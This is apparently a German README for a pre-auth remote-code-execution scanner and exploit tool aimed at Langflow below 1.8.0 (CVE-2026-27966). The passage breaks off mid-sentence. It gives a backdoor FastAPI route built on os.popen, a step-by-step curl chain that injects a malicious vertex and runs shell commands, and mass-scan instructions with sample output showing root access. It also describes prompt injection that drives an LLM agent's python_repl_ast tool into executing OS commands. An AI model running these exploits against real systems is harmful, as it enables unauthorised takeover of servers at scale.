
Pre-auth RCE-Scanner für Langflow < 1.8.0 — Route Injection + Vertex Injection → Code Execution (CVSS 9.8)
CVE-2026-27966 ist eine kritische (CVSS 9,8) Remote-Code-Ausführungs-Schwachstelle ohne Authentifizierung in Langflow-Versionen vor 1.8.0. Die Schwachstelle beruht auf allow_dangerous_code=True, das im CSV-Agent-Komponenten hart codiert ist, und setzt damit LangChains python_repl_ast-Tool für nicht authentifizierte Prompt-Injection frei.
Darüber hinaus fehlt mehreren API-Endpunkten die ordnungsgemäße Authentifizierung, was ein direktes Einschleusen von Routen und Flow-Knoten ermöglicht – selbst wenn der CSV-Agent nicht konfiguriert ist.
| Langflow-Version | Status |
|---|---|
| < 1.8.0 | Verwundbar |
| >= 1.8.0 | Behoben |
Dieser Scanner testet drei verschiedene Angriffspfade:
GET /api/v1/auto_login → Session / API-Key abrufen
POST /api/v1/custom_component → Backdoor-Route registrieren
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → Backdoor-Route registrieren
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → Flow-UUIDs extrahieren (26 offengelegt)
POST /api/v1/build/{UUID}/vertices → bösartigen Vertex injizieren
POST /api/v1/run/{UUID} → Vertex-Code ausführen → RCE
In src/lfx/src/lfx/components/langchain_utilities/csv_agent.py ist im CSV-Agent-Knoten allow_dangerous_code=True hart codiert, wodurch automatisch LangChains python_repl_ast-Tool verfügbar gemacht wird:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hart codiert – kann nicht über UI deaktiviert werden
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Dadurch kann jeder Prompt, der den CSV-Agent erreicht, beliebigen Python-Code ausführen via:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Die Langflow REST-API stellt mehrere Endpunkte ohne Authentifizierung bereit:
| Endpunkt | Authentifizierung | Offengelegte Daten |
|---|---|---|
GET /api/v1/version | Keine | Langflow-Version |
GET /api/v1/health | Keine | Instanzstatus |
GET /api/v1/flows/basic_examples/ | Keine | 26 Beispiel-Flow-UUIDs + Struktur |
POST /api/v1/build/{uuid}/vertices | Keine | Akzeptiert beliebige Code-Injection |
POST /api/v1/users/ | Keine | Benutzererstellung (inaktiv) |
GET /openapi.json | Keine | Vollständige API-Dokumentation |
Auf Instanzen, bei denen auto_login aktiviert ist (Standard in vielen Docker-Bereitstellungen), erhält ein Angreifer eine gültige Session und einen API-Key:
curl -sk 'https://target.com/api/v1/auto_login'
# Gibt Session mit access_token zurück → vollständiger API-Zugriff
Mit einem gültigen API-Key kann der Angreifer via POST /api/v1/custom_component eine Backdoor-FastAPI-Route registrieren, die bis zum Serverneustart im Speicher bleibt:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk (remote) |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsbereich | Unverändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Einzelnes Ziel
python cve_2026_27966.py -t ziel.com:7860
# Massen-Scan
python cve_2026_27966.py -f targets.txt
# Massen-Scan + Ergebnisse speichern
python cve_2026_27966.py -f targets.txt -o rce.txt
# Nur Erkennung (keine Ausnutzung)
python cve_2026_27966.py -f targets.txt --no-exploit
# Ausführliche Ausgabe
python cve_2026_27966.py -f targets.txt -v
-t, --target Einzelnes Ziel (IP:Port oder Domain)
-f, --file Zielliste, ein Ziel pro Zeile
-o, --output RCE-Ergebnisse in Datei speichern
--threads Gleichzeitige Worker (Standard: 30)
--no-exploit Nur Erkennung, keine RCE-Versuche
-v, --verbose Alle Ergebnisse anzeigen, auch Nicht-RCE-Ziele
$ python cve_2026_27966.py -t ziel.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9,8 | Pre-Auth | Route Injection → RCE
Host : ziel.com:7860
Langflow : JA v1.2.0
Verwundbar: JA
API-Key : NICHT ERFORDERLICH
RCE : JA
Ausgabe : uid=0(root) gid=0(root) groups=0(root)
Zeit : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Ziele: 4127 | Threads: 30 | Ausnutzung: EIN
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API-Key)
[500/4127] scannen... (12%)
-------------------------------------------------------
Gesamt: 4127 | Langflow: 47 | RCE: 3 | API-Geschützt: 41
-------------------------------------------------------
Schritt 1 — Langflow erkennen
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Schritt 2 — Flow-UUIDs extrahieren
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Schritt 3 — Backdoor-Vertex injizieren
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Schritt 4 — Befehl ausführen
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
Eine erfolgreiche Ausnutzung ermöglicht Remote-Code-Ausführung als root im Langflow-Docker-Container. Von dort aus kann ein Angreifer: